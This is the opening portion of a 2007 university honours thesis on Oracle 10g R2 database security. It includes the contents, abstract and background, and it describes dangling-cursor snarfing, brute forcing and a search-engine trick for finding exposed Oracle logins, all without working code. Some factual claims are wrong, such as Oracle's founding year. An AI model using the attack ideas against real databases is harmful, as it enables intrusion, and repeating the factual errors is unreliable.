an investigation into the security features of oracle 10g r2 ...

RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT

AN INVESTIGATION INTO THE SECURITY FEATURES

OF

ORACLE 10G R2 ENTERPRISE EDITION

RESEARCHER: OKELITSI NYATHI

SUPERVISOR: MR JOHN EBDEN

COMPUTER SCIENCE DEPARTMENT

05 NOVEMBER 2007

SUBMITTED IN PARTIAL FULFILMENT OF THE BACHELOR OF SCIENCE DEGREE

(HONOURS) RHODES UNIVERSITY

AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION

RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 2

TABLE OF CONTENTS

ABSTRACT ................................................................................................................................... 9 ACKNOWLEDGEMENTS .......................................................................................................... 10 Chapter 1 ...................................................................................................................................... 11 1. INTRODUCTION................................................................................................................. 11 1.1 Database Security ............................................................................................................ 11

Chapter 2 ...................................................................................................................................... 13 2. BACKGROUND................................................................................................................... 13

Chapter 3 ...................................................................................................................................... 16 3. LITERATURE REVIEW...................................................................................................... 16 3.1. The Products from Oracle and the choice made .............................................................. 16 3.2. Terminology................................................................................................................... 17 3.2.1. Cursors .................................................................................................................... 17

3.3. Cursor snarfing ............................................................................................................... 17 3.4. Security concerns............................................................................................................ 17 3.4.1 Authentication .......................................................................................................... 17 3.4.2 Privileges and roles................................................................................................... 20 3.4.3. Auditing................................................................................................................... 21 3.4.4. Data integrity ........................................................................................................... 23

3.4. Oracle’s Software Security Assurance. ........................................................................... 24 3.5. Summary ........................................................................................................................ 26

Chapter 4 ...................................................................................................................................... 28 4. EXPLOITS AND PROTECTING AGAINST THEM............................................................ 28 4.1 CURSOR SNARFING .................................................................................................... 28 4.1.1 Analysis of the code.................................................................................................. 28 4.1.2 Counteracting on the attack vector. ........................................................................... 31

4.2 SQL INJECTION............................................................................................................ 32 4.2.1 A briefing on SQL Injection...................................................................................... 32 4.2.2 An Example of SQL Injection................................................................................... 34 4.2.3 Adding user to the SYS.SYSAUTH$ table................................................................ 38 4.2.4 Protecting Against SQL Injection.............................................................................. 41 4.2.4.1: A way to detect SQL Injection in Oracle ........................................................... 41 4.2.4.2 Using triggers to monitor database activity......................................................... 42 4.2.4.3 Normalisation .................................................................................................... 44 4.2.4.4 Binding Variable................................................................................................ 46 4.2.4.5 Input Validation ................................................................................................. 47

4.3 VIRTUAL PRIVATE DATABASE (VPD) AND ITS FLAWS ....................................... 47 4.3.1 The flaw in VPD....................................................................................................... 48 4.3.2 Another VPD attack vector ....................................................................................... 51 4.3.3 Prevention................................................................................................................. 53

4.4 CRACKING THE HASHES ........................................................................................... 53 4.4.1 Cracking the puzzle .................................................................................................. 53 4.4.2 ORABF: Oracle hash breaking tool........................................................................... 53 4.4.3 Word of advice from the DBA .................................................................................. 55

4.5 ORACLES’S PASSWORD HASHING AND ITS WEAKNESS..................................... 55 4.5.1 Weak salt .................................................................................................................. 55 4.5.2 Logging into Oracle Application Server .................................................................... 56 4.5.3 Ignorance to case sensitivity...................................................................................... 56 4.5.4 The hashing function................................................................................................. 57 4.5.5 Emulating the Oracle password hasher...................................................................... 58



4.5.6 Securing from password crackers and strengthening the hashing algorithm............... 58 4.6 USING PACKAGES TO HACK..................................................................................... 59 4.6.1 A summary about packages....................................................................................... 59 4.6.2 The flaw ................................................................................................................... 60 4.6.3 Prevention................................................................................................................. 63

4.7 STEALING THE WHOLE DATABASE USING PL/SQL.............................................. 64 4.7.1 The flaw ................................................................................................................... 64 4.7.2 Protecting Against Database Theft ............................................................................ 71

4.8 GETTING CLEAR TEXT PASSWORDS USING THE PASSWORD_VERIFY FUNCTION .......................................................................................................................... 72 4.8.1 Getting clear text Passwords by privileged user......................................................... 72 4.8.2 Create the user for the profile .................................................................................... 73 4.8.3 Carrying out the flaw ................................................................................................ 74 4.8.4 Protecting Against Clear Text Password Harvest....................................................... 76

4.9 TRANSPARENT DATA ENCRYPTION AND ITS ASSOCIATED FLAW................... 76 4.9.1 How it works ............................................................................................................ 76 4.9.2 Taking a closer look at the security of TDE............................................................... 79 4.9.3 Explanation............................................................................................................... 81 4.9.4 Solution to the problem............................................................................................. 81

4.10 AUDITING ................................................................................................................... 82 4.10.1 How it works .......................................................................................................... 82 4.10.2 Conclusion.............................................................................................................. 87 4.10.3 Destroying the Fine Grained Auditing..................................................................... 87

4.11 GAINING SYS FROM THE ORACLE DATABASE ................................................... 88 4.11.1 A short briefing....................................................................................................... 88 4.11.2 Carrying out the flaw .............................................................................................. 89 4.11.3 A product of the flaw .............................................................................................. 91 4.11.4 Suggested solutions................................................................................................. 92

Chapter 5 ...................................................................................................................................... 93 5. POSSIBLE EXTENSIONS ................................................................................................... 93 5.1 Future Work and other documented flaws........................................................................ 93 5.1.1 Comparison with other relational databases............................................................... 93 5.1.2 Wrong coding principle on Oracle ............................................................................ 93 5.1.3 Brute force attack on the SYS account ...................................................................... 97 5.1.4 Breaking up HTTPS in Oracle .................................................................................. 97

Chapter 6 ...................................................................................................................................... 99 6. CONCLUSION ABOUT THE SECURITY OFFERED BY ORACLE.................................. 99

Chapter 7 .................................................................................................................................... 101 7. ORACLE TUTORIAL ........................................................................................................ 101 7.1 The difference between SYS, SYSTEM and PUBLIC ................................................... 101 7.2 DBA and passwords ...................................................................................................... 101 7.3 SQL Commands ............................................................................................................ 102 7.4 Recreating the DBA role................................................................................................ 102 7.5 Tutorial on dynamic SQL .............................................................................................. 103 7.5.1 What is dynamic SQL? ........................................................................................... 103 7.5.2 SQL Statements ...................................................................................................... 103 7.5.2.1 DBMS_SQL.PARSE ....................................................................................... 103 7.5.2.2 DBMS_SQL.DEFINE_COLUMN ................................................................... 103 7.5.2.3 DBMS_SQL.EXECUTE.................................................................................. 104 7.5.2.4 DBMS_SQL.FETCH_ROWS .......................................................................... 104



7.5.2.5 DBMS_SQL.COLUMN_VALUE.................................................................... 104 7.5.2.6 DBMS_SQL.OPEN_CURSOR and DBMS_SQL.CLOSE_CURSOR .............. 104 7.5.2.7 DBMSSQL.BIND_VARIABLE ..................................................................... 104

7.6 Dropping users in Oracle ............................................................................................... 105 7.7 Reactivating the database............................................................................................... 105

MY POSTER.............................................................................................................................. 106 REFERENCES ........................................................................................................................... 107 APPENDIX ................................................................................................................................ 110



TABLE OF FIGURES

Figure 21: Firewalls are insecure [Newman A, 2007]................................................................... 13 Figure 22: The OSI model showing levels in which vulnerabilities work ..................................... 14 Figure 31: An example of a database table to illustrate encryption ............................................... 19 Figure 32: Performing a select on the database............................................................................. 20 Figure 33: Performing a select on the database............................................................................. 20 Figure 34: The master and the table key....................................................................................... 24 Figure 35: Oracle vs. MS Server 2004 ......................................................................................... 25 Figure 41: The error messaging showing the cursor number......................................................... 30 Figure 42: A snapshot of Cursor Snarfing .................................................................................... 31 Figure 43: The results from using an Exception Handle ............................................................... 32 Figure 44: A list of usernames and passwords obtained from SQL Injection ................................ 35 Figure 45: Privileges belonging to Scott....................................................................................... 36 Figure 46: The role has been successfully set ............................................................................... 37 Figure 47: The new roles assigned to Scott .................................................................................. 37 Figure 48: Another method of granting DBA ............................................................................... 38 Figure 49: Table successfully created by unauthorised user.......................................................... 39 Figure 410: Error message when trying to insert name to SYS.SYSAUTH$ ................................ 40 Figure 411: User could not grant DBA, detected by Oracle .......................................................... 40 Figure 412: Successfully executed by finding a procedure to perform SQL Injection on .............. 41 Figure 413: Role successfully set ................................................................................................. 41 Figure 414: Trigger monitor malicious activity ............................................................................ 42 Figure 415: Table to contain the audit on DDL statements in the database ................................... 43 Figure 416: Trigger to audit who performs DDL on the database ................................................. 43 Figure 417: The audit from tracking DDL statements................................................................... 43 Figure 418: An example of normalised query training.................................................................. 45 Figure 419: Use proxy driver to validate queries before submitting them to the database ............. 45 Figure 420: Normalised query are validated by comparison to the list of expected queries ........... 46 Figure 421: The table vpdtest created by user vpd used to illustrate Virtual Private Databases ..... 48 Figure 422: The diagram shows that everyone in the database instance can select on the table ..... 48 Figure 423: This is output from user Scott ................................................................................... 48 Figure 424: This is the new output when Scott selects to view the table ....................................... 50 Figure 425: This is evil code that breaks the VPD setting on public. ............................................ 50 Figure 426: The failed attempt to drop policy, Oracle may be validating input on the package ..... 50 Figure 427: The snapshot shows the VPD configurations broken down by SQL Injection ............ 51 Figure 428: Note the error message displayed .............................................................................. 52 Figure 429: SQL Injection successful........................................................................................... 52 Figure 430: The policy has been successfully dropped ................................................................. 52 Figure 431: Data exposed to attacker ........................................................................................... 53 Figure 432: Running the Orabf.exe tool to crack the SYS password............................................. 54 Figure 433: Running the tool without the password in the default list........................................... 54 Figure 434: The tool shows current password being tried and total time elapsed .......................... 54 Figure 435: The password successfully cracked ........................................................................... 55 Figure 436: Oracle concatenates username and password for hashes ............................................ 55 Figure 437: Oracle ignores case sensitivity .................................................................................. 57 Figure 438: The Oracle password hash from Oraclehash.exe........................................................ 58 Figure 439: The password hash for ‘SYS’ from Oracle ................................................................ 58 Figure 440: These are the privileges granted to user Scott ............................................................ 61 Figure 441: The snapshot shows the new privileges granted to Scott............................................ 62 Figure 442: A view of the v$instace table .................................................................................... 62



Figure 443: Incomplete patch set for the flaw from Oracle ........................................................... 63 Figure 444: Revoking execute on package ................................................................................... 63 Figure 445: The snapshot of a successful database theft ............................................................... 68 Figure 446: The snapshot of results obtained from running netstat commands.............................. 68 Figure 447: Binding the port number 3420 to the Socket.............................................................. 69 Figure 448: Running md4sum to check for data integrity ............................................................. 69 Figure 449: A snapshot from the export. Zip ................................................................................ 70 Figure 450: A snapshot from the export. Zip showing password hashes ....................................... 70 Figure 451: Table Hack imported into Csess’s schema from Scott’s schema ................................ 71 Figure 452: Indeed the table is now in Csess’s schema................................................................. 71 Figure 453: An unsuccessful export ............................................................................................. 72 Figure 454: Output from the Hack table ....................................................................................... 74 Figure 455: Attacker successfully sent through an email with credentials..................................... 75 Figure 456: Creating a wallet ....................................................................................................... 76 Figure 457: The table empo created ............................................................................................. 77 Figure 458: Encrypting the field deptno in the table ..................................................................... 77 Figure 459: Closing the wallet ..................................................................................................... 77 Figure 460: Running ‘SELECT *…’ with closed wallet............................................................... 78 Figure 461: Trying to insert a raw into table with wallet closed.................................................... 78 Figure 462: Successfully inserting a record with closed wallet ..................................................... 78 Figure 463: This view is allowed on the table because it does not involve the encrypted field ...... 78 Figure 464: Reactivating the wallet .............................................................................................. 79 Figure 465: The command to view where table is where the table is located in the database......... 79 Figure 466: Output showing the data file and block number of created table ................................ 80 Figure 467: Dump the table to the udump file in the database ...................................................... 80 Figure 468: Clear text in the udump file ....................................................................................... 80 Figure 469: Encrypt the field ‘Text’............................................................................................. 80 Figure 470: Automatically updating the udump with data in the buffer ........................................ 81 Figure 471: Clear text still exists even after data encryption......................................................... 81 Figure 472: No clear text exists after defragmenting the udump ................................................... 81 Figure 473: The audit settings on my machine ............................................................................. 82 Figure 474: Commands run on the table....................................................................................... 83 Figure 475: A portion of the audits .............................................................................................. 84 Figure 476: Table ‘Salary’ to be audited ...................................................................................... 84 Figure 477: Commands fired by audited user ............................................................................... 85 Figure 478: The audited predicates in the audit_trail .................................................................... 85 Figure 479: The commands run by audited user ........................................................................... 86 Figure 480: The audit_trail for the audit set in Listings 438 ........................................................ 86 Figure 481: Audited action performed by user ............................................................................. 87 Figure 482: The audit trail from DBA_FGA_AUDIT_TRAIL ..................................................... 87 Figure 483: Attacking the defined policy ..................................................................................... 88 Figure 484: These select statements are auditable......................................................................... 88 Figure 485: The audit trail does not show any trace of the newly performed statements ............... 88 Figure 486: Create a table to contain the password hash............................................................... 89 Figure 487: Stealing the password hash and changing the SYS password..................................... 89 Figure 488: The procedure SQLIVULN calculates the average salary.......................................... 89 Figure 489: Carrying out the Injection on the procedure SQLIVULN........................................... 90 Figure 490: Notice the password has transferred to the table Scott.psw_data................................ 90 Figure 491: The SYS password has been changed........................................................................ 90 Figure 492: Restore the password hash for the SYS account ........................................................ 90



Figure 493: SQL Injection to restore password............................................................................. 91 Figure 494: The new password hash for SYS using the password ‘newpsw’ ................................ 91 Figure 495: The new hash for the password ‘newpsw’ ................................................................. 91 Figure 496: User logged in with a wrong password hash. ............................................................. 92 Figure 51: A view of the Oracle objects of the Oracle.exe process from the tool WinObj ............. 94 Figure 52: shows the permissions set on the above mentioned object ........................................... 94 Figure 53: shows that every user has got full right on the object................................................... 95 Figure 54: Part of the wrong op code from the Oracle.exe process ............................................... 96 Figure 55: Wireshark steals data from the Internet ....................................................................... 97 Figure 56: Breaking through Oracles authentication..................................................................... 98



TABLE OF LISTINGS

Listings 31: Oracle’s password management................................................................................ 19 Listings 41: Password Compare Procedure................................................................................... 28 Listings 42: Using the Password Compare Function..................................................................... 29 Listings 43: Carrying out the flaw................................................................................................ 30 Listings 44: Handling the exception ............................................................................................. 32 Listings 45: An Example of injectable code ................................................................................. 33 Listings 46: Protecting against SQL Injection .............................................................................. 33 Listings 47: Another example of SQL Injection ........................................................................... 34 Listings 48: The procedure gets the owner of the any supplied object .......................................... 34 Listings 49: Execute the SQL Injection ........................................................................................ 35 Listings 410: Procedure grants DBA to public ............................................................................. 36 Listings 411: Execute SCOTT.GET_DBA as SQL Injection........................................................ 36 Listings 412: Grant DBA to public using autonomous_transaction............................................... 38 Listings 413: Create new user CSESS.......................................................................................... 38 Listings 414: User is not allowed to create table but he manages to do so..................................... 39 Listings 415: Trigger to prevent low privileged users from executing .......................................... 42 Listings 416: The Hide_Records function that hides the records specified as secret...................... 49 Listings 417: The code above adds the policy to be applied on the table vpdtest........................... 49 Listings 418: The attacker grants himself execution on DBMS_RLS through SQL Injection........ 52 Listings 419: The general structure of a package.......................................................................... 60 Listings 420: The spec of the package MYBadPackage................................................................ 61 Listings 421: The body of the package MyBadPackage................................................................ 61 Listings 422: Executing the package ............................................................................................ 62 Listings 423: Creating the file called parfile.txt............................................................................ 64 Listings 424: Execution of Operating System Commands ............................................................ 65 Listings 425: The procedure defined makes use of the java function execoSCmd() ...................... 65 Listings 426: The procedure defined makes use of the createParfile procedure............................. 65 Listings 427: This procedure makes use of the procedure defined above ...................................... 66 Listings 428: Creates a Socket that bind a socket for communication ........................................... 67 Listings 429: Creates a procedure that calls the FileSend class ..................................................... 67 Listings 430: This is how the procedure is to be executed ............................................................ 67 Listings 431: Granting myself rights to create files using OS commands...................................... 69 Listings 432: A procedure is created in the function that harvests passwords................................ 73 Listings 433: Creating a user in a profile ...................................................................................... 73 Listings 434: The procedure that sends the email ......................................................................... 75 Listings 435: Sending mail to the attacker.................................................................................... 75 Listings 436: Commands to view the audits ................................................................................. 83 Listings 437: Adding a policy to the FGA policy ......................................................................... 85 Listings 438: Adding a policy to the FGA policy ......................................................................... 86 Listings 439: Granting self execute privilege on DBMS_FGA ..................................................... 87 Listings 51: The structure of the SetSecurtiyDescriptorDacl () function ....................................... 96



ABSTRACT

The aim of this Literature review is to explore the basic security features offered by the Oracle 10g

Enterprise Edition database as well as to discover the insecurities hidden within the same database.

The introduction section introduces the concept of database security including the reason we have to

protect databases. The background section of the paper summarises the current situation within the

database security which includes the threats posed towards database security.

Oracle 10g database is categorised into five versions and among these I have made a choice of one

on which I will conduct my research. The research product offers four security layers namely

authentication, roles and privileges, auditing and data integrity. Oracle Software Assurance

describes how Oracle carries out their software assurance and what the critics of Oracle think about

it. The core of this project is tackled under the topic “Exploits and securing against them”. In this

chapter we look at a number of flaws that affect Oracle as well as possible ways of protecting

against them. These include Cursor snarfing, SQL Injection and breaking through the authentication

security put across by Oracle. Basically, these flaws are performed to test the four security layers in

Oracle as mentioned above. This Oracle research also includes possible extensions to this project

that can be added in the future. These include comparison with SQL Server as well as investigating

the OPS op code in Oracle which is claimed to be faulty. It is concluded that the Oracle database is

not well protected against a variety of attacks, chief of which is SQL injection.



ACKNOWLEDGEMENTS

First and foremost I would like to thank THE LORD who gave me the strength to do this project. I

thank Him for the blessings. I would also want to thank Mr J. Ebden for giving me directions and

guidelines; this could have been hard without him. I thank him for the encouragement as well for

being patient with me. Keep up the good work Sir.

I would like also to thank Dameon Wagner (from the IT Dept) who helped me with the netcap tool;

your help is greatly appreciated. I would not forget Glenn Wilkinson (the monitor), thank you for

giving me your time to help. Ricky, I remember us analysing code time and again, thank you a lot.

Not forgetting Guy Halse as well, thank you a lot; your help is greatly appreciated.

To my two friends from Fort Hare (Dirk Van Schalkwyk and Edison Mukadah), it seems like last

week when we decided to come to Rhodes University but the year is over. We have been through a

lot together. Thank you a lot for the help, encouragement and support you guys gave to me, I

appreciate that.

I can not forget my class (CSC Honours 2007), thank you guys for both your direct and indirect

help and support. Last but not least, I would like to thank my mother who always has me at heart in

prayer.

I would also like to thank the Andrew Mellon’s Scholarship Fund for financing my complete degree

Programme. Furthermore, I would like to convey my humble thanks to the Computer Science

Department sponsors who include Telkom SA, Business Connexion, Comverse SA, Verso

Technologies, Stortech, Tellabs, Amatole, Mars Technologies, Bright Ideas Projects 39 and THRIP

through the Telkom Centre of Excellence at Rhodes University. I thank them especially for their

financial and technical help they offered me for the successful completion of this project.

…I do all things through Christ who strengthens me …



Chapter 1 1. INTRODUCTION

1.1 DATABASE SECURITY This is defined by the Wikipedia encyclopaedia as “the system, processes, and procedures that

protect a database from unintended activity.” These maybe categorised as authorised misuse,

malicious attacks or in advent mistakes made by authorised individuals or processes [Wikipedia (1),

2007]

“At its core, security is all about risk reduction. One of the most effective database security

practices, defenceindepth, employs multiple layers of protection to reduce the risk of intrusion. It

is analogous to the many defensive layers surrounding a medieval Castle: drawbridge, moat, the

outer wall, the inner keep, archers manning the wall, soldiers stationed outside the wall, etc. No

single level of defence is infallible; and yet all of these layers cannot ensure the castle will be 100%

impenetrable. However, these layers of protection can make the castle (and its crown jewels) less

vulnerable to attackers.”…Aaron Newman [Newman A (1), 2007]

Ever since databases have been included on the web wide web, their security has been at risk. Their

inclusion on the web was meant to alleviate their use by users in the fast growing industry of e

commerce, but little was it known that this would give serious challenges to Database

Administrators posed by hackers. “Data hacking dates back to the 1960s” claims St Petersburg

Times [St Petersburg Times, 2007]. It is surely a fairly old profession that is growing fast.

This involves identity theft which is unlawfully using another person’s credentials as yours. Bellah

[Bellah, 2001] defines identity theft as “…the unlawful use of another’s personal identifying

information.” This may include individual’s name, address, and date of birth or maybe biometric

information as well.

According to the Window Security website, there are 3 reasons for identity theft. It can be used by

a malicious user disguised as somebody else to commit crime. Malicious users can also gain profit

by selling people’s identities to others. Some people steal other peoples identities so as to hide from

past experience e.g. crime and debts. Another aspect to identity theft is illegal immigrants who steal

local citizens’ identities to seek employment as well as medication to mention a few

[WindowSecurity.com, 2007].

It is argued that identity theft is one of the biggest threats to the U.S. economy with actual losses

due to identity theft escalating as high as $332 million in 1994, $340 million in 1996 and $734

million in 1997. The growth is tremendous and is expected to reach a height of $2.3 billion in the

near future [Fichtman, 2001].



Database Security is in two forms; internal and external security. External security deals with

securing data against malicious people who are situated outside the database premises. These

usually use the network (or precisely the Internet) as the backbone of their attack channels. An

attack of this kind includes authentication attacks. Another type of database attack is internal though

this is not usually talked about. Research has it that 80% of all database attacks are of this kind.

People who are meant to be trustworthy and responsible to fight against attacks on clients’

information are infact becoming the major culprits for database attacks.

This shows how important it is to design very good security measures that will keep clients’

information safe. The database of concern in this project is Oracle RDBMS.

A brief history about the Oracle Company is that it was founded by Larry Ellison and Robert Miner

in June 1997 under the name Software Development Labs. These two men had worked together at

Ampex and the name Oracle came from one of their projects that they once worked on together.

The Oracle relational database is based upon the work of Edgar Codd who worked as a researcher

for IBM and developed a lot of ideas for relational database systems. Oracle’s biggest consumers

are the CIA and the NSA thus with this in mind anyone is at liberty to trust that Oracle is a secure

database. This project will investigate how secure the database really is specifically the latest

edition they released, 10g Enterprise Edition Release 2.



Chapter 2

2. BACKGROUND

A decade ago, databases used to be physically secure; they used to be housed in central data centres

and not distributed. If an external data access had to be carried out it was mediated and thus it was

very rare for a security flaw to occur [Newman A, 2007]. But databases are now accessible

externally. They are now directly connected to suppliers, customers as well as partners, sharing data

directly. Databases have been configured to be available across the World Wide Web using web

pages to present fast querying by users for example online selling of products. The growing use of

ecommerce and Web application solutions has led to an increased risk of indirect attack on DBMS

from the Internet. These attacks on databases can not be prevented by barrier defence systems on

the Internet such as firewalls. The diagram below shows a how databases and firewalls may be

linked on the Internet. The problem experienced is that firewalls do not solve all security issues

surrounding a database; they can block some security threats to a database but fail to detect those

higher than them in the OSI. The diagram below shows a possible network structure including

databases. It is unreasonable to believe attackers can not get behind a firewall, thus a layered

defence is needed which includes Vulnerability Assessment (involves reviewing, analysing and

even attacking your own database to find security holes) and Intrusion Detection/Security Auditing

[Newman A (1), 2007].

www.appsecinc.com

Barrier Defense Is No Longer Enough

Internet Internet

Main Office Network Firewall Web Proxy

Firewall VPN Firewall

VPN

Business Partner’s Network

Remote Office Network Remote Employees

Accounting Accounting

Financial Financial

Internet Internet

Secret Secret Formula Formula

CRM CRM

HR HR

Figure 21: Firewalls are insecure [Newman A, 2007]

Databases

Internet



Recently, attackers have found a way of bypassing the role of the firewall in database attacks. It is

possible to search for Oracle database logins on the Internet and thus avoiding dealing with the

firewall by typing in the search string “iSQLplus’ in Google’s advanced search engine. This is also

possible in Yahoo as well [Newman A.C, 2007]

Firewalls operate at network layer of the OSI model (layer 3) and can not protect the database

against vulnerabilities introduced on higher levels of the OSI model such as SQL Injection which is

in layer 4, See diagram below[Rowe D, 2006].

Figure 22: The OSI model showing levels in which vulnerabilities work

It was reported that attackers are now turning their attention from Microsoft to other corporate

products such as Oracle. It is reported that “…the software products developed by Oracle Corp ...

have started to be more and more targeted by hackers” [Softpedia.com, 2007]. Recently, there has

been an allegation by David Litchfield, a researcher from the NGS Software Insight Security

Research (NISR) that Oracle has a big loop hole in its security system [Litchfield D (1), 2006]. He

claims to have found a method to hack into the Oracle RDBMS called “Dangling Cursor Snarfing”

in which he manages to access the system’s passwords using Dynamic SQL code. This is the

chaining together of SQL commands with userprovided parameters, the embedding of SQL

commands inside the given parameters [Anley C, 2002]. The researcher attributes that the Oracle

RDBMS’s failure to close cursors (a control structure for the successive traversal of records in

databases [Wikipedia (2), 2007]) created and used by Oracle DBMS_Sql) or failure to clean up

open cursors in the event of an exception can lead to a security hole [Litchfield D (1), 2006]. An

Oracle member of staff, Natalka Roshak, in the Oracle frequently asked questions gives a good

tutorial about how to manage open and closed cursors [Roshak N, 2004]. If the cursor in question

has been created by higher privileged code and left hanging then it becomes possible for a low

privilege user to snarf (steal or grab a large document or file for the purpose of using it with or

without the author's permission) and use the cursor outside of the application logic that created it.

7 6 4 3 3 2 1



This leads to data being exposed [Litchfield D (1), 2006]. Furthermore Litchfield, an associate in

the Microsoft Company released yet another paper entitled “Which database is more secure?

Oracle vs. Microsoft SQL Server” in which he proves that Oracle RDBMS suffers the most flaws as

compared to Microsoft SQL Server [Litchfield D (2), 2006]. This really leaves a very big question

on the security measures offered by Oracle which is worthy of a research.

On the other hand Oracle management acknowledge the discovery but claim that an exploitation of

this type of vulnerability is limited and requires all of the following conditions:

• Direct SQL*Net connection to the database with proper authentication, meaning that one

has to have administrative rights in order to take advantage of the flaw.

• Cursor executed in a package or procedure with Definer Rights

• Use of dynamic SQL via DBMS_SQL, a tutorial has been offered in the Terminology

section below.

• Can not alter the parsed SQL statement and can only change bind variable values.

• The cursor is not properly closed in a logic branch or in the event of an exception [Oracle

(1), 2007]

Therefore they claim that based on these conditions for a vulnerability to exist and the type of SQL

statement that could be exploited, this attack is practically a no issue. They claim that there are

more serious issues to worry about in DBMS_SQL than the trivial and highly impractical dangling

cursor snarfing [Oracle (1), 2007].

The contending view shared by Oracle and some researchers leave a lot to be desired on the security

offered by Oracle. This has given a spark for researchers including the author of this book, to

investigate on the legitimacy of these opposing views. This project is meant to investigate the

security features offered by Oracle and come up with a conclusion on whether Oracle meet up with

their security claims.



Chapter 3

3. LITERATURE REVIEW

3.1. THE PRODUCTS FROM ORACLE AND THE CHOICE MADE The latest release from Oracle is Oracle 10g, and it is in four different versions. There is the

Standard Edition One which can be used by a single user in a small business to a distributed branch

environment. Its disadvantage in large scale industry is that it is limited to only two processors. The

second type is the Standard Edition which offers support for large machines and clustering of

services with real application clusters. Its characteristics might be good for my project but the

problem is that it is only licensed to a single server with a maximum of four processors. The third

version is the Personal Edition which supports single user developments and basically summaries

all the functionality of the Oracle 10g RDBMS into a personalised edition. It has a good advantage

of running on any number of processors but the only short fall if it were to be used for my project is

that it is restricted to one user. The fourth version is the Express Edition which has an advantage for

its capability to be installed on any size of machine with any number of CPUs but the major

difference is that it is designed for database beginners [Cheveers S, 2006]

I intend to make my project as close as possible to work environments, to enable me to face the

database security problems faced in the work place. I want it to relate closely to real life and not be

based on assumptions and further more I want to produce tangible results that can be used by a

corporation; it must not just be a practical but a project.

This leaves me with one last version which suites my needs, the Enterprise Edition. Oracle claims

it’s the most reliable among the five already stated. It performs secure data management for mission

critical application which is most suitable for my project. These include OLTP (OnLine

Transaction Processes) which are the fundamentals for ecommerce since databases are usually

useful on the web. It has a queryintensivedata warehouse demanding internet applications, it also

provides functionality to meet today’s missionoriented applications for the enterprise. It contains

all of Oracle’s database features and has the ability of adding extra security packs to improve on

security. Enterprise Edition supports all sizes of computers and is not limited to maximum

processor count. And finally, it has the most secure feature compared to the other four and is

designed for big corporations [Oracle (2), 2006]. Enterprise Edition R2 also offers a security feature

called Transparent Data Encryption (TDE) which protects sensitive fields in a table. It also protects

data in lost or stolen backup tapes and contains an Oracle Wallet to store the TDE passwords [Smith

GC, 2004].



3.2. TERMINOLOGY

3.2.1. Cursors These help to retrieve data from the database by fetching a row at a time, a cursor does this by

making a copy each time. A cursor has to be opened and closed immediately after use otherwise if

an exception is created within the code then the cursor may be left dangling (unclosed). This leaves

the database vulnerable to attack if a low privileged user gains access to this cursor as shown by the

new class of attack “dangling cursor snarfing” demonstrated by Litchfield [Litchfield D (1), 2007]

Technically, a cursor is a name for a structure in memory called a private SQL area which the

server allocates at runtime for each SQL statement. This memory area contains among other things,

a parsed version of the original SQL statement [Pribyl B, Feuerstein S, 2002]. If the host program

uses any variables in the SQL statement, then the cursor also contains the memory address of this

variable.

3.3. CURSOR SNARFING The hacking code is Dynamic SQL on PL/SQL which is Oracle’s primary language for

programming stored procedures which are programs that live and run inside the database server. I

have implemented the code and proved it to be true as specified by [David Litchfield, 2006]; Oracle

indeed has a security hole in case of unattended dangling cursors created by high privileged code. In

a nutshell, a higher privilege database user creates a stored procedure and grants rights to public

(every user on the database), this enables a low privileged hacker to run the procedure and creating

an exception which can not be handled by the dynamic SQL code. This leaves a cursor dangling

(unclosed) if the exception occurred before closing the cursor, and using this cursor value, the

hacker can easily obtain the SYS password.

3.4. SECURITY CONCERNS

3.4.1 Authentication The Wikipedia encyclopaedia defines authentication as the process of attempting to verify the

digital identity of the sender of a communication such as a request to log in. The authenticated body

may be a person using a computer, a computer itself or it may be a program on a computer. It

assures that users are who they claim to be and gives access to legitimate users [Wikipedia (3),

2007]. It is defined in the Information Systems Security’s glossary as “The act of identifying or

verifying the eligibility of a station, originator, or individual to access specific categories of

information….a measure designed to protect against fraudulent transmissions by establishing the

validity of a transmission, message, station, or originator.” [ISS, 2007]



Users of a database have to be authenticated before gaining access to any resources in a database to

avoid malicious users from gaining access to personal and valuable information of other users

which may lead to crimes like identity theft. There is a difference between authentication and

authorisation; authentication verifies a person’s identity whilst authorisation verifies that a person

has privileges of executing certain operations. A user has to be authenticated first and authorised to

execute a task. Users of databases must be discouraged from using default passwords and

encouraged to change their passwords as often as possible. They must also be discouraged to use

common and obvious words for passwords e.g. “oracle” or perhaps user names. Oracle claims that it

allows four failed attempts before an account is blocked, after which the account is locked for a day

or so or may wait to be unlocked by a Database Administrator. On contrary, another researcher

from NGS Consultancy has a whitepaper that proves that Oracle passwords may be tried over and

over by brute forcing which may reach a try of two million passwords a day, now the question to

ask is how is this possible if only a maximum of four tries is adequate to lock up an account

[Wright P, 2007].

Oracle also acknowledges that passwords have to have an expiry date and that users have to be

prompted to change their passwords three times before blocking it to avoid unauthorised security

breaches [Oracle (3), 2007]. More, [Stephen S, 2003], who worked for Oracle for more than 13

years, in his websites makes a tutorial on passwords which includes how to prompt a user to change

his password. Also on the Oracle website, under the topic “Password aging and expiration”, Oracle

gives a coded example of how they implement a prompt to the user to change password after 90

days as shown below, and also that the account is locked for 30 days if a trial number exceeding 3 is

reached giving no room for over 2 million tries performed during a brute force attack. A database

security expert, Mark Burnett [Burnett M, 2007] explains that the most obvious way to block brute

forcing is to lock accounts but this can work very well for an attacker. He can cause a denial of

service (DOS) by initiating the lock of a large number of accounts, locking on its own is an

indication of an existing account so it can be used to harvest usernames and also an attacker can

disable an account by continuously initiating a lock each time it is unlocked. Above all most

databases can not lock the Administrator’s account so this can be a major victim for brute force

attacks. A coded example of Oracle’s password management [Oracle (3), 2007]; CREATE PROFILE prof LIMIT

FAILED_LOGIN_ATTEMPTS 3

PASSWORD_LOCK_TIME 30

PASSWORD_LIFE_TIME 90

PASSWORD_GRACE_TIME 3;



ALTER USER johndoe PROFILE prof;

Listings 31: Oracle’s password management

But surprisingly [Stephen S, 2003] says “Even after several years, I've found that my old password

still works on previous projects...” His website shows how Oracle maintains safe password

management citing that Oracle provides good facilities to enable users to make very strong

password. But according to Paul Wright[Wright P, 2007], Oracle offers a limited sample space of

characters to choose from when designing a password, for example it does not allow the use of ‘$’

and ‘#’ to avoid scripting errors, also passwords cannot start with either ‘_’, ‘$’, ‘#’ or a number

and Oracle’s password are not allowed to contain Oracle/SQL keywords like “INSERT”. As part of

my project, intend looking further into the issue passwords in the Oracle database. It is claimed that

the highest source of data insecurity is within the organisation [Kornbrust A, 2004]. He comes up

with an important idea; passwords have to be encrypted so that even the DBA who have access to

